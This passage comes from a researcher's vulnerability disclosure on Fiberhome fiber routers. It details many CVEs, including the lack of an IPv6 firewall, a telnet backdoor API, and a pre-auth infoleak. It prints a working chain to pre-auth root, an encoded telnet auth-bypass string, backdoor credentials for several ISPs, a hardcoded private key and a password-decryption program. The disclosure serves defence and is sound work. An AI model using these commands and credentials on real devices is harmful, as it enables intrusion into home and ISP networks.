<li>only HTTP/HTTPS is listening by default on the LAN</li>
<li>It is also possible to enable a CLI telnetd (not reachable by default) on port 23/tcp by using hardcoded credentials on the web admin interface (<code>https://target/fh</code>).</li>
</ul>
<p>Futhermore, due to the lack of firewall for IPv6 connectivity, all the internal services will be reachable over IPv6 (from the Internet).</p>
<p>It is in fact trivial to achieve pre-auth RCE as root against the device, from the WAN (using IPv6) and from the LAN (IPv4 or IPv6).</p>
<p>This scenario involves reaching the webserver to:</p>
<ol>
<li>enable a proprietary CLI telnetd (using backdoor credentials for HTTP or using the backdoor <code>/telnet</code> HTTP API or using a stack overflow in the HTTP server in previous fiberhome routers [and skipping next steps])</li>
<li>enable the Linux telnetd using authentication bypass or with backdoor credentials</li>
<li>use backdoor credentials to get a root shell on the Linux telnetd</li>
</ol>
<p>Example of such scenario in 4 steps from a different network:</p>
<pre><code>$ curl -k https://target/info.asp # pre-auth infoleak, extract the WAN MAC, very similar to the br0 MAC,
                                  # used to enable the next backdoor. On the same network segment,
                                  # use `arp -na`
$ curl -k 'https://target/telnet?enable=1&amp;key=ENDING_PART_MAC_ADDR'  # backdoor access to authorize access
                                                                     # to CLI telnet on port 23/tcp
$ echo GgpoZWxwCmxpc3QKd2hvCmRkZAp0c2hlbGwK | base64 -d | nc target 23 &gt;/dev/null &amp; # auth bypass + start of
                                                                                    # Linux telnetd on port
                                                                                    # 26/tcp
$ telnet target 26                # backdoor root access with root / GEPON
(none) login: root
Password: [GEPON]
BusyBox v1.27.2 (2019-04-01 19:16:06 CST) built-in shell (ash)
#id
uid=0(root) gid=0 groups=0 # game over
</code></pre>
<p>Please note this research was done in the beginning of 2020 and a new firmware image may be available and may patch some vulnerabilities (even if I highly doubt it). This research was supposed to be presented during a private security event last year which was postponed due to the COVID-19 situation.</p>
<p>Full-disclosure is applied as it is believed that some backdoors have been intentionally placed by the vendor.</p>
<p>Also, it is public knowledge from 2019 that Fiberhome devices have weak passwords and RCE vulnerabilities. This quote is from 2019:</p>
<blockquote>
<p>We didn't see how Gwmndy malware spread, but we know that some Fiberhome router Web systems have weak passwords and there are RCE vulnerabilities.</p>
<p>-- <a href="https://blog.netlab.360.com/some-fiberhome-routers-are-being-utilized-as-ssh-tunneling-proxy-nodes-2/">https://blog.netlab.360.com/some-fiberhome-routers-are-being-utilized-as-ssh-tunneling-proxy-nodes-2/</a></p>
</blockquote>
<h2>Vulnerabilities Summary</h2>
<p>The summary of the vulnerabilities is:</p>
<ol>
<li><a href="#insecure-ipv6">Insecure IPv6 connectivity - CVE-2021-27170</a></li>
<li><a href="#httpd-passwords-logs">HTTP Server - Passwords in HTTP logs - CVE-2021-27140</a></li>
<li><a href="#httpd-ssl-certificates">HTTP Server - Harcoded SSL certificates- CVE-2021-27142</a></li>
<li><a href="#httpd-infoleak">HTTP server - Pre-auth InfoLeak - CVE-2021-27139</a></li>
<li><a href="#httpd-backdoor-telnet">HTTP Server - Backdoor allowing telnet access - CVE-2021-27173</a></li>
<li><a href="#httpd-hardcoded-credentials">HTTP Server - Hardcoded credentials - CVE-2021-27143 - CVE-2021-27144 - CVE-2021-27145 - CVE-2021-27146 - CVE-2021-27147 - CVE-2021-27148 - CVE-2021-27149 - CVE-2021-27150 - CVE-2021-27151 - CVE-2021-27152 - CVE-2021-27153 - CVE-2021-27154 - CVE-2021-27155 - CVE-2021-27156 - CVE-2021-27157 - CVE-2021-27158 - CVE-2021-27159 - CVE-2021-27160 - CVE-2021-27161 - CVE-2021-27162 - CVE-2021-27163 - CVE-2021-27164</a></li>
<li><a href="#httpd-tr09-hardcoded-credentials">HTTP Server - TR-069 hardcoded credentials</a></li>
<li><a href="#httpd-decryption-algorithm">HTTP Server - Credentials decryption algorithm - CVE-2021-27141</a></li>
<li><a href="#telnet-linux-hardcoded-credentials">Telnet server (Linux) - Hardcoded credentials - CVE-2021-27172</a></li>
<li><a href="#telnet-cli-hardcoded-credentials">Telnet server (CLI) - Hardcoded credentials - CVE-2021-27165 - CVE-2021-27166 - CVE-2021-27167 - CVE-2021-27168 - CVE-2021-27169</a></li>
<li><a href="#telnet-cli-privilege-escalation">Telnet server (CLI) - Privilege escalation - CVE-2021-27171</a></li>
<li><a href="#telnet-cli-auth-bypass">Telnet server (CLI) - Authentication bypass - CVE-2021-27177</a></li>
<li><a href="#telnet-cli-auth-bypass-linux-telnetd">Telnet server (CLI) - Authentication bypass to start the Linux telnetd</a></li>
<li><a href="#telnet-cli-dos">Telnet server (CLI) - DoS - CVE-2021-27179</a></li>
<li><a href="#system-credentials-clear-text-files">System - Credentials stored in clear-text - CVE-2021-27174 - CVE-2021-27175 - CVE-2021-27176</a></li>
<li><a href="#system-credentials-clear-text-nvram">System - Passwords stored in clear-text in nvram - CVE-2021-27178</a></li>
<li><a href="#misc-remote-stack-overflow-an5506">Misc - Remote stack overflow in the HTTP server (AN5506-04-FA / RP2631)</a></li>
</ol>
<p>I removed several DoS and strange technical details (linked to undisclosed vulnerabilities) for clarity.</p>
<p><a id="insecure-ipv6"></a></p>
<h2>Details - Insecure IPv6 connectivity</h2>
<p>By default, there are no firewall rules for the IPv6 connectivity, exposing the internal management interfaces from the Internet.</p>
<p>An attacker can get a full access to the management http server (using hardcoded passwords) and the telnet services, by reaching the IPv6s assigned to the wan0 and the br0 interfaces.</p>
<p>On the device:</p>
<pre><code>#ifconfig wan0
wan0      Link encap:Ethernet  HWaddr [REMOVED]
          [...]
          inet6 addr: [REMOVED]/64 Scope:Global
          [...]
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1

#ifconfig br0
br0       Link encap:Ethernet  HWaddr [REMOVED]
          inet addr:192.168.1.1  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: [REMOVED]/64 Scope:Global
          [...]
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
</code></pre>
<p><code>br0</code> is the internal network interface assigned to the LAN.
All the services are binding to both <code>br0</code> and <code>wan0</code>.</p>
<p>It is trivial to reach services from the WAN (Internet), by contacting IPv6 used by <code>br0</code> or <code>wan0</code>:</p>
<p>From the WAN:</p>
<pre><code>rasp-wan-olt% telnet [ipv6] 26
Trying [ipv6]...
Connected to [ipv6].
Escape character is '^]'.

(none) login: 
telnet&gt; q
Connection closed.

rasp-wan-olt% telnet [ipv6] 80
Trying [ipv6]...
Connected to [ipv6].
Escape character is '^]'.
GET / HTTP/1.0

HTTP/1.0 302 Redirect
Server: GoAhead-Webs/2.5.0 PeerSec-MatrixSSL/3.4.2-OPEN
Date: Mon Jan  7 21:01:29 2020
Pragma: no-cache
Cache-Control: no-cache
Content-Type: text/html
X-Frame-Options: SAMEORIGIN
Location: https://

&lt;html&gt;&lt;head&gt;&lt;/head&gt;&lt;body&gt;
                This document has moved to a new &lt;a href="https://"&gt;location&lt;/a&gt;.
                Please update your documents to reflect the new location.
                &lt;/body&gt;&lt;/html&gt;

Connection closed by foreign host.
rasp-wan-olt%
</code></pre>
<p>By using <code>ip6tables</code> on the device, we can confirm the complete lack of firewall rules for IPv6 connectivity:</p>
<pre><code>#ip6tables -nL
Chain INPUT (policy ACCEPT)
target     prot opt source               destination

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination         
forward_ext_ip  all      ::/0                 ::/0                
forward_ext_url  all      ::/0                 ::/0                
forward_ext_mac  all      ::/0                 ::/0

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination

Chain forward_ext_ds_ip (1 references)
target     prot opt source               destination

Chain forward_ext_ip (1 references)
target     prot opt source               destination         
forward_ext_us_ip  all      ::/0                 ::/0                
forward_ext_ds_ip  all      ::/0                 ::/0

Chain forward_ext_mac (1 references)
target     prot opt source               destination

Chain forward_ext_url (1 references)
target     prot opt source               destination

Chain forward_ext_us_ip (1 references)
target     prot opt source               destination         
#
</code></pre>
<p>I highly recommend disabling IPv6 connectivity.</p>
<p><a id="httpd-passwords-logs"></a></p>
<h2>Details - HTTP Server - Passwords in HTTP logs</h2>
<p>It is possible to find passwords and authentication cookies stored in clear-text in HTTP logs:</p>
<pre><code>#cat /fhconf/web_log/web.log
web_utils&gt;2020-01-07 19:16:26,../utils/cu_sessionManagement.c[465](findUser): no user named admin !
&lt;web_custom&gt;2020-01-07 19:16:27,../custom/weblogin.c[595](webLogin): *************userGroupName = 1
&lt;web_init&gt;2020-01-07 19:16:27,../utils/utils.c[1399](get_admin_default_info): enter get_admin_default_info
&lt;web_custom&gt;2020-01-07 19:16:27,../custom/weblogin.c[812](webLogin): Warning! Password error! password = [REMOVED]
&lt;web_utils&gt;2020-01-07 19:27:24,../utils/cu_sessionManagement.c[238](createSession): create user [REMOVED]
</code></pre>
<p><a id="httpd-ssl-certificates"></a></p>
<h2>Details - HTTP Server - Harcoded SSL certificates</h2>
<p>The web management is done over HTTPS, using a hardcoded private key with 777 permissions:</p>
<pre><code>#ls -la /fhrom/bin/web/certSrv.pem /fhrom/bin/web/privkeySrv.pem
-rwxrwxrwx    1 root     0              883 Apr  1  2019 /fhrom/bin/web/certSrv.pem
-rwxrwxrwx    1 root     0              887 Apr  1  2019 /fhrom/bin/web/privkeySrv.pem
#cat /fhrom/bin/web/privkeySrv.pem
-----BEGIN RSA PRIVATE KEY-----
MIICWwIBAAKBgQCY22+N/5InUhmotgU8jh9nQdyTmKYwFJKpvMek9fJK8rCsrED7
yl+mvUPv3yqLyMgvu1AcMmYEyngpbw94rnd2k91wiRGUGUSq8mTRPFwnplTPI8hI
JglMsKcskzRP951jxsiSS1eMlLcEd9iMUcpjUbgWzxKH0fFlRD5d8jYPtwIDAQAB
AoGANEjy6n5d7sc9caD5P5JZmYdEvNO9HLscw6SIIZvjCdHjrtyoybeaaj1ZDKao
NfIyz2jh6RMwJDlhSsLrZts+jzB+k7fAqUkdLi6fkZmpamL1OEHMqzWdWuVFgCjd
uf8ZMMuQ+/3gx/tjjG0sBuL/ko1Q7oxoIty+4xm9cwqGGtkCQQDKIJYYp9385gk4
8qDcdgnc39kmsheUB5VS0pU1/pxL2YIJltq79yghwQisaNsUUk4LMW6hNyPx7Knx
jRpHLsgTAkEAwZkVbjo3Ll+fM+1oPPcY4i960DURrR9eMVhq771n+GzCs9gEy2Ea
HW5f0yamZBMURZWECu1W0s764QkHXwzWTQJAaYGi95HAVT86NyinAQz4TvvlnMY/
enyO3GGhk0KpEQqjTyAYYx87KotZXK2LFct0g3E1Hx/qOmDfwH935QotUwJAH4mE
iDRLkO5azOa7uFK4ZwA9DXXXr1AQ1BEHOo6sRTfSb+GcxlTHIEw+p/L/4AWLo9o7
bFxFbInzLH2ACefZcQJAJ+US+g9Dp4tiLrenketRv9+3nOPGod2WOGqjMaEqOgmC
RjGu2aI9YguR3FuX3W9KOOg3EDn/l/O1XynBPRO9Aw==
-----END RSA PRIVATE KEY-----
#cat /fhrom/bin/web/certSrv.pem
-----BEGIN CERTIFICATE-----
MIICXzCCAcgCCQCqr5AgCgFdqzANBgkqhkiG9w0BAQUFADB0MQswCQYDVQQGEwJD
SDELMAkGA1UECBMCSFUxCzAJBgNVBAcTAldVMQswCQYDVQQKEwJGSDELMAkGA1UE
CxMCU0YxDDAKBgNVBAMTA1BPTjEjMCEGCSqGSIb3DQEJARYUUE9OQEZJQkVSSE9N
RS5DT00uQ04wHhcNMTMwNDI0MDEyMTUwWhcNMjMwNDIyMDEyMTUwWjB0MQswCQYD
VQQGEwJDSDELMAkGA1UECBMCSFUxCzAJBgNVBAcTAldVMQswCQYDVQQKEwJGSDEL
MAkGA1UECxMCU0YxDDAKBgNVBAMTA1BPTjEjMCEGCSqGSIb3DQEJARYUUE9OQEZJ
QkVSSE9NRS5DT00uQ04wgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAJjbb43/
kidSGai2BTyOH2dB3JOYpjAUkqm8x6T18krysKysQPvKX6a9Q+/fKovIyC+7UBwy
ZgTKeClvD3iud3aT3XCJEZQZRKryZNE8XCemVM8jyEgmCUywpyyTNE/3nWPGyJJL
V4yUtwR32IxRymNRuBbPEofR8WVEPl3yNg+3AgMBAAEwDQYJKoZIhvcNAQEFBQAD
gYEACZJepEU36h3PMc0O15Bo7zkBWm2dD0RbTrJeZF561VcxlpuE2GDirNCXAbZz
Ue/x+fDQBEM8kqpFYcVMPzZBUdFwu1QIY0DottXVcFFNoKS54GL9LEMaS6l6R/D5
G8bCy/RF3kZwzE2cflZ7x78zdpQpzzDcOD415ek5zkadhu0=
-----END CERTIFICATE-----
#
</code></pre>
<p>Another hardcoded private key is also available (?!) in <code>/fhrom/bin/web</code> and can be downloaded over HTTPS:</p>
<pre><code>#ls -la /fhrom/bin/web/privkeySrv.pem
-rwxrwxrwx    1 root     0              887 Apr  1  2019 /fhrom/bin/web/privkeySrv.pem

$ curl -k https://192.168.1.1/privkeySrv.pem
-----BEGIN RSA PRIVATE KEY-----
MIICWwIBAAKBgQCY22+N/5InUhmotgU8jh9nQdyTmKYwFJKpvMek9fJK8rCsrED7
yl+mvUPv3yqLyMgvu1AcMmYEyngpbw94rnd2k91wiRGUGUSq8mTRPFwnplTPI8hI
JglMsKcskzRP951jxsiSS1eMlLcEd9iMUcpjUbgWzxKH0fFlRD5d8jYPtwIDAQAB
AoGANEjy6n5d7sc9caD5P5JZmYdEvNO9HLscw6SIIZvjCdHjrtyoybeaaj1ZDKao
NfIyz2jh6RMwJDlhSsLrZts+jzB+k7fAqUkdLi6fkZmpamL1OEHMqzWdWuVFgCjd
uf8ZMMuQ+/3gx/tjjG0sBuL/ko1Q7oxoIty+4xm9cwqGGtkCQQDKIJYYp9385gk4
8qDcdgnc39kmsheUB5VS0pU1/pxL2YIJltq79yghwQisaNsUUk4LMW6hNyPx7Knx
jRpHLsgTAkEAwZkVbjo3Ll+fM+1oPPcY4i960DURrR9eMVhq771n+GzCs9gEy2Ea
HW5f0yamZBMURZWECu1W0s764QkHXwzWTQJAaYGi95HAVT86NyinAQz4TvvlnMY/
enyO3GGhk0KpEQqjTyAYYx87KotZXK2LFct0g3E1Hx/qOmDfwH935QotUwJAH4mE
iDRLkO5azOa7uFK4ZwA9DXXXr1AQ1BEHOo6sRTfSb+GcxlTHIEw+p/L/4AWLo9o7
bFxFbInzLH2ACefZcQJAJ+US+g9Dp4tiLrenketRv9+3nOPGod2WOGqjMaEqOgmC
RjGu2aI9YguR3FuX3W9KOOg3EDn/l/O1XynBPRO9Aw==
-----END RSA PRIVATE KEY-----
</code></pre>
<p><a id="httpd-infoleak"></a></p>
<h2>Details - HTTP server - Pre-auth InfoLeak</h2>
<p>It is possible to extract information from the device without authentication by disabling Javascript and visiting <code>/info.asp</code>:</p>
<pre><code>$ curl -k https://192.168.1.1/info.asp
[..]

Software Version: [REMOVED]
[...]
ONU State: [REMOVED]
Regist State: [REMOVED]
LOID: [REMOVED] &lt;----------- Secret used for FTTH connection
[...]
IP Address: [REMOVED]
Subnet Mask: [REMOVED]
IPv6 Address: [REMOVED]
DHCP Clients List: [REMOVED]
Wan IP: [REMOVED]
WAN Mac: [REMOVED] &lt;-------- Used for the telnet backdoor
[...]
</code></pre>
<p>Also, it is very easy to guess the MAC address of the <code>br0</code> interface based on the WAN MAC address (e.g.: <code>wan0</code>: <code>xx:xx:xx:xx:xx:x3</code>, <code>br0</code> will be <code>xx:xx:xx:xx:xx:x0</code>).</p>
<p><a id="httpd-backdoor-telnet"></a></p>
<h2>Details - HTTP Server - Backdoor allowing telnet access</h2>
<p>In order to reach the telnetd CLI server, it is also possible to reach a backdoor API without authentication provided by the HTTP server. This will remove firewall rules and allow an attacker to reach the telnet server (used for CLI).</p>
<p>This backdoor can be found inside the <code>webs</code> binary:</p>
<p>From <code>sub_C46F8()</code> (called from main()):</p>
<p><img alt="" src="images/2021-fiberhome-sub_C46F8.png" />
<center>Pseudo-code of <code>sub_C46F8()</code></center></p>
<p>The <code>backdoor_telnet()</code> function (named during reverse engineering, the original name is unknown):</p>
<p><img alt="" src="images/2021-fiberhome-backdoor_telnet.png" />
<center>Pseudo-code of <code>backdoor_telnet()</code></center></p>
<p>We can reverse the function <code>omci_set_telnet_uni_state()</code> from <code>libgl3_advance.so</code>:</p>
<p><img alt="" src="images/2021-fiberhome_omci_set_telnet_uni_state.png" />
<center>Pseudo-code of <code>omci_set_telnet_uni_state()</code></center></p>
<p>On line 24, rules will be added depending of the value of the argument of this function.</p>
<p>Finally, the <code>getOnuMac()</code> function will provide a custom valid entry from the MAC address of the <code>br0</code> interface:</p>
<p><img alt="" src="images/2021-fiberhome-getOnuMac.png" />
<center>Pseudo-code of <code>getOnuMac()</code></center></p>
<p>The backdoor is reachable by sending a HTTPS request: </p>
<ul>
<li><code>https://[ip]/telnet?enable=0&amp;key=calculated(BR0_MAC)</code></li>
</ul>
<p>The 'secret' algorithm will extract the ending part of the mac address.</p>
<p>For the MAC: AA:AA:AA:01:02:03, an attacker can enable the backdoor by sending:</p>
<pre><code>$ curl -k 'https://[ip]/telnet?enable=1&amp;key=010203'
</code></pre>
<p>Opening the access to the telnetd:</p>
<pre><code>$ curl -k 'https://192.168.1.1/telnet?enable=1&amp;key=[REMOVED]'
Open telnet success!
$ telnet 192.168.1.1
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.

------acl IP:192.168.1.2 --------
Login: 
telnet&gt; q
Connection closed.
</code></pre>
<p>Closing the access to the telnetd:</p>
<pre><code>$ curl -k 'https://192.168.1.1/telnet?enable=0&amp;key=[REMOVED]'
$ telnet 192.168.1.1 23
Trying 192.168.1.1...
telnet: connect to address 192.168.1.1: Connection refused
telnet: Unable to connect to remote host
</code></pre>
<p>The IPv4 firewall rules before and after triggering the backdoor:</p>
<p>Access is being blocked:</p>
<pre><code>#iptables-save |grep telnet
:input_ext_access_telnet_ani - [0:0]
:input_ext_access_telnet_uni - [0:0]
-A input_ext_access_ctrl -p tcp -m tcp --dport 23 -j input_ext_access_telnet_uni
-A input_ext_access_ctrl -p tcp -m tcp --dport 23 -j input_ext_access_telnet_ani
-A input_ext_access_telnet_ani -i tel0 -p tcp -m tcp --dport 23 -j ACCEPT
-A input_ext_access_telnet_ani -i br0 -p tcp -m tcp --dport 23 -j ACCEPT
-A input_ext_access_telnet_ani -p tcp -m tcp --dport 23 -j REJECT --reject-with tcp-reset
-A input_ext_access_telnet_uni -i br0 -p tcp -m tcp --dport 23 -j REJECT --reject-with tcp-reset
</code></pre>
<p>Access is allowed:</p>
<pre><code>#iptables-save |grep telnet
:input_ext_access_telnet_ani - [0:0]
:input_ext_access_telnet_uni - [0:0]
-A input_ext_access_ctrl -p tcp -m tcp --dport 23 -j input_ext_access_telnet_uni
-A input_ext_access_ctrl -p tcp -m tcp --dport 23 -j input_ext_access_telnet_ani
-A input_ext_access_telnet_ani -i tel0 -p tcp -m tcp --dport 23 -j ACCEPT
-A input_ext_access_telnet_ani -i br0 -p tcp -m tcp --dport 23 -j ACCEPT
-A input_ext_access_telnet_ani -p tcp -m tcp --dport 23 -j REJECT --reject-with tcp-reset
</code></pre>
<p><a id="httpd-hardcoded-credentials"></a></p>
<h2>Details - HTTP Server - Hardcoded credentials</h2>
<p>The web daemon contains a list of hardcoded credentials, for different ISPs:</p>
<ul>
<li>user / user1234</li>
<li>f~i!b@e#r$h%o^m*esuperadmin / s(f)u_h+g|u</li>
<li>admin / lnadmin</li>
<li>admin / CUadmin</li>
<li>admin / admin</li>
<li>telecomadmin / nE7jA%5m</li>
<li>adminpldt / z6dUABtl270qRxt7a2uGTiw</li>
<li>gestiontelebucaramanga / t3l3buc4r4m4ng42013</li>
<li>rootmet / m3tr0r00t</li>
<li>awnfibre / fibre@dm!n</li>
<li>trueadmin / admintrue</li>
<li>admin / G0R2U1P2ag</li>
<li>admin / 3UJUh2VemEfUtesEchEC2d2e</li>
<li>admin / getOnuMac(s, 6, 32); &lt;- last part of the MAC address of the <code>br0</code> interface</li>
<li>admin / 888888</li>
<li>L1vt1m4eng / 888888</li>
<li>useradmin / 888888</li>
<li>user / 888888</li>
<li>admin / 1234</li>
<li>user / tattoo@home</li>
<li>admin / tele1234</li>
<li>admin / aisadmin</li>
</ul>
<p>You can find the incomplete list below:</p>
<p><img alt="" src="images/2021-fiberhome-webs-hardcoded-passwords-00.png" /></p>
<p><img alt="" src="images/2021-fiberhome-webs-hardcoded-passwords-01.png" /></p>
<p>I really like <code>m3tr0r00t</code> :)</p>
<p>There are passwords everywhere in the <code>webs</code> binary (HTTP Server).</p>
<p>These credentials, used with <code>https://ip/fh</code> will allow to open the access to the CLI telnet on port 23/tcp.</p>
<p><a id="httpd-tr09-hardcoded-credentials"></a></p>
<h2>Details - HTTP Server - TR-069 hardcoded credentials</h2>
<p>We can find hardcoded credentials inside the <code>webs</code> binary for TR-069:</p>
<p><code>telecomadmin</code></p>
<p><img alt="" src="images/2021-fiberhome-webs-itms-hardcoded-login.png" />
<center>Pseudo-code from <code>webs</code></center></p>
<p><a id="httpd-decryption-algorithm"></a></p>
<h2>Details - HTTP Server - Credentials decryption algorithm</h2>
<p>By default, some credentials appear to be encrypted (in <code>/fhconf/umconfig.txt</code> file).</p>
<p>It is possible to decrypt them using the encryption function found inside the webs binary. This algorithm uses mainly xor with the hardcoded key <code>*j7a(L#yZ98sSd5HfSgGjMj8;Ss;d)(*&amp;^#@$a2s0i3g</code> so we can encrypt passwords and decrypt "encrypted" passwords:</p>
<p><img alt="" src="images/2021-fiberhome-webs-decrypt-passwords.png" />
<center>Pseudo-code from <code>decrypt_password()</code></center></p>
<p>A re-implementation in C can be shown below:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span><span style="color: #BC7A00">#include</span> <span style="color: #408080; font-style: italic">&lt;stdio.h&gt;</span><span style="color: #BC7A00"></span>
<span style="color: #BC7A00">#include</span> <span style="color: #408080; font-style: italic">&lt;string.h&gt;</span><span style="color: #BC7A00"></span>

<span style="color: #B00040">int</span>       <span style="color: #0000FF">main</span>(<span style="color: #B00040">int</span>    argc,
               <span style="color: #B00040">char</span>   <span style="color: #666666">**</span>argv,
               <span style="color: #B00040">char</span>   <span style="color: #666666">**</span>envp)
{
  <span style="color: #B00040">char</span> key[<span style="color: #666666">45</span>] <span style="color: #666666">=</span> <span style="color: #BA2121">&quot;*j7a(L#yZ98sSd5HfSgGjMj8;Ss;d)(*&amp;^#@$a2s0i3g&quot;</span>;

  <span style="color: #B00040">char</span> password[<span style="color: #666666">12</span>] <span style="color: #666666">=</span> <span style="color: #BA2121">&quot;</span><span style="color: #BB6622; font-weight: bold">\x59\x42\x51\x48\x5d\x13\x4b\x52\x3d\x45\x4d\x00</span><span style="color: #BA2121">&quot;</span>;
  <span style="color: #408080; font-style: italic">//char password[12] = &quot;s(f)u_h+g|u\x00&quot;;</span>

  <span style="color: #B00040">unsigned</span> <span style="color: #B00040">char</span> encrypted_char;

  <span style="color: #008000; font-weight: bold">for</span> (<span style="color: #B00040">int</span> i <span style="color: #666666">=</span> <span style="color: #666666">0</span>; i <span style="color: #666666">&lt;</span> strlen(password); i<span style="color: #666666">++</span>)
  {
    encrypted_char <span style="color: #666666">=</span> password[i] <span style="color: #666666">^</span> key[i <span style="color: #666666">%</span> <span style="color: #008000; font-weight: bold">sizeof</span>(key)];

    <span style="color: #008000; font-weight: bold">if</span> (encrypted_char <span style="color: #666666">&amp;&amp;</span> <span style="color: #666666">!</span>(encrypted_char <span style="color: #666666">&amp;</span> <span style="color: #666666">0x2000</span>))
      printf(<span style="color: #BA2121">&quot;%c&quot;</span>, encrypted_char);
  }

  printf(<span style="color: #BA2121">&quot;</span><span style="color: #BB6622; font-weight: bold">\n</span><span style="color: #BA2121">&quot;</span>);

  <span style="color: #008000; font-weight: bold">return</span> (<span style="color: #666666">0</span>);
}
</pre></div>

<p>And it works:</p>
<pre><code>$ cc decrypt-passwords-umconfig.c -o decrypt-passwords-umconfig &amp;&amp; ./decrypt-passwords-umconfig | hexdump -C
00000000  73 28 66 29 75 5f 68 2b  67 7c 75 0a              |s(f)u_h+g|u.|
0000000c
</code></pre>
<p>Interesting fact: we previously found this hardcoded key in FTTH OLTs from another FTTH vendor:</p>
<p><a href="https://pierrekim.github.io/blog/2020-07-07-cdata-olt-0day-vulnerabilities.html#weak-encryption-algorithm">https://pierrekim.github.io/blog/2020-07-07-cdata-olt-0day-vulnerabilities.html#weak-encryption-algorithm</a></p>
<p>It appears this key and this algorithm come from GoAhead:</p>
<p><a href="https://github.com/BruceYang-yeu/goahead-1/blob/master/um.c#L51">https://github.com/BruceYang-yeu/goahead-1/blob/master/um.c#L51</a></p>
<p><a id="telnet-linux-hardcoded-credentials"></a></p>
<h2>Details - Telnet server (Linux) - Hardcoded credentials</h2>
<p>A hardcoded password for root is being defined inside <code>/etc/init.d/system-config.sh</code>:</p>
<pre><code>#cat /etc/init.d/system-config.sh
#!/bin/sh

case "$1" in
        start)
                echo "Configuring system..."
                # these are some miscellaneous stuff without a good home
                mount -o remount,sync /fhconf
                mkdir -p /dev/shm/fhdrv_kdrv_ver_tmp /dev/shm/usr_tmp /fhconf/data
                echo "root:W/xa5OyC3jjQU:0:0:root:/:bin/sh" &gt; /etc/passwd
                echo "nobody:x:99:99:Nobody:/:/bin/false" &gt;&gt; /etc/passwd
                ifconfig lo 127.0.0.1 netmask 255.0.0.0 broadcast 127.255.255.255 up
                echo &gt; /var/udhcpd/udhcpd.leases
                exit 0
                ;;

# cat /etc/passwd
root:W/xa5OyC3jjQU:0:0:root:/:bin/sh
nobody:x:99:99:Nobody:/:/bin/false
</code></pre>
<p><code>W/xa5OyC3jjQU</code> is the DES encrypted data for <code>GEPON</code>.</p>
<p>This telnet server doesn't run by default but it is possible to start it from the telnet CLI.</p>
<p><a id="telnet-cli-hardcoded-credentials"></a></p>
<h2>Details - Telnet server (CLI) - Hardcoded credentials</h2>
<p>telnet on port 23/tcp can be also abused with these credentials:</p>
<ul>
<li><code>gpon</code>/<code>gpon</code></li>
<li>enable: <code>gpon</code></li>
</ul>
<p>Demo:</p>
<pre><code>$ nc -v 192.168.1.1 23
Connection to 192.168.1.1 23 port [tcp/telnet] succeeded!

------acl IP:192.168.1.2 --------
Login: gpon
gpon
Password: gpon
User&gt; enable
enable
Password: gpon
****
Config#
</code></pre>
<p>We can retrieve these backdoors by reversing the <code>libci_adaptation_layer.so</code> library:</p>
<p><img alt="" src="images/2021-fiberhome-addDefualLoginAndUser.png" />
<center>Pseudo-code of <code>addDefualLoginAndUser()</code> from <code>libci_adaptation_layer.so</code></center></p>
<p>For specific ISPs, there are these valid credentials:</p>
<ul>
<li><code>admin</code> / 4 hexadecimal chars, generated in the <code>init_3bb_password()</code> function located in <code>libci_adaptation_layer.so</code></li>
<li><code>rdsadmin</code> / <code>6GFJdY4aAuUKJjdtSn7d</code></li>
</ul>
<p>You can also test <code>gepon</code>/<code>gepon</code> (from the firmware extracted in the other analyzed fiberhome device (AN5506-04-FA, firmware RP2631, 4 April 2019)).</p>
<p><a id="telnet-cli-privilege-escalation"></a></p>
<h2>Details - Telnet server (CLI) - Privilege escalation</h2>
<p>The CLI telnet server runs on port 23/tcp and can be reached by (i) adding firewall rules from the HTTP server either using the backdoor API, (ii) using backdoor credentials on the web interface or (iii) exploiting a stack overflow in previous HTTP daemons.
It is also reachable by default over IPv6 on <code>br0</code> and <code>wan0</code> interface.</p>
<p>It is possible to start a Linux telnetd as root on port 26/tcp using the CLI interface, as shown below:</p>
<pre><code>User&gt; ddd
WRI(DEBUG_H)&gt; shell
Please use port 26 to telnet 
WRI(DEBUG_H)&gt; tshell
Please use port 26 to telnet
</code></pre>
<p><code>shell</code> and <code>tshell</code> will call the function <code>enter_telnet_shell()</code> from <code>libcli_cli.so</code>, running <code>system("telnet -p 26")</code>.
This telneld will then use hardcoded credentials.</p>
<p><img alt="" src="images/2021-fiberhome-enter_telnet_shell.png" />
<center>Pseudo-code of <code>enter_telnet_shell()</code></center></p>
<p>Surprisingly, there is another function called <code>enter_tshell</code> (for a legacy <code>tshell</code>) which will run a <code>system("sh")</code> as root.</p>
<p>This function <code>enter_tshell()</code> providing a rootshell is not being called from <code>shell</code> so this looks like dead code:</p>
<p><img alt="" src="images/2021-fiberhome-enter_tshell.png" />
<center>Pseudo-code of <code>enter_tshell()</code></center></p>
<p><a id="telnet-cli-auth-bypass"></a></p>
<h2>Details - Telnet server (CLI) - Authentication bypass</h2>
<p>It is possible to bypass telnet authentication by sending a specific string to the remote telnet server:</p>
<pre><code>$ echo 'GgpoZWxwCmxpc3QKd2hvCg==' | base64 -d &gt; bypass-auth-telnet
$ hexdump -C bypass-auth-telnet
00000000  1a 0a 68 65 6c 70 0a 6c  69 73 74 0a 77 68 6f 0a  |..help.list.who.|
00000010
$ nc 192.168.1.1 23 &lt; bypass-auth-telnet

------acl IP:192.168.1.2 --------
Login: 
User&gt; 
User&gt; help

      This system provides help feature as described below.

      1. Anytime you need help, just press "?" and don't
  press Enter,you can see each possible command argument
  and its description.

      2. You can also input "list" and then press Enter
  to execute this helpful command to view the list of
  commands you can use.

User&gt; list
 0. clear
 1. enable
 2. exit
 3. help
 4. list
 5. ping {[-t]}*1 {[-count] &lt;1-65535&gt;}*1 {[-size] &lt;1-6400&gt;}*1 {[-waittime] &lt;1-255&gt;}*1 {[-ttl] &lt;1-255&gt;}*1 {[-pattern] &lt;user_pattern&gt;}*1 {[-i] &lt;A.B.C.C&gt;}*1 &lt;A.B.C.D&gt; 
 6. quit
 7. show history
 8. show idle-timeout
 9. show ip
10. show services
11. show syscontact
12. show syslocation
13. terminal length &lt;0-512&gt;
14. who
15. who am i
User&gt; who
SessionID. - UserName ---------- LOCATION ---------- MODE ---- 
7            not login           192.168.1.2         not login (That's me.)
Total 1 sessions in current system. 
User&gt;
</code></pre>
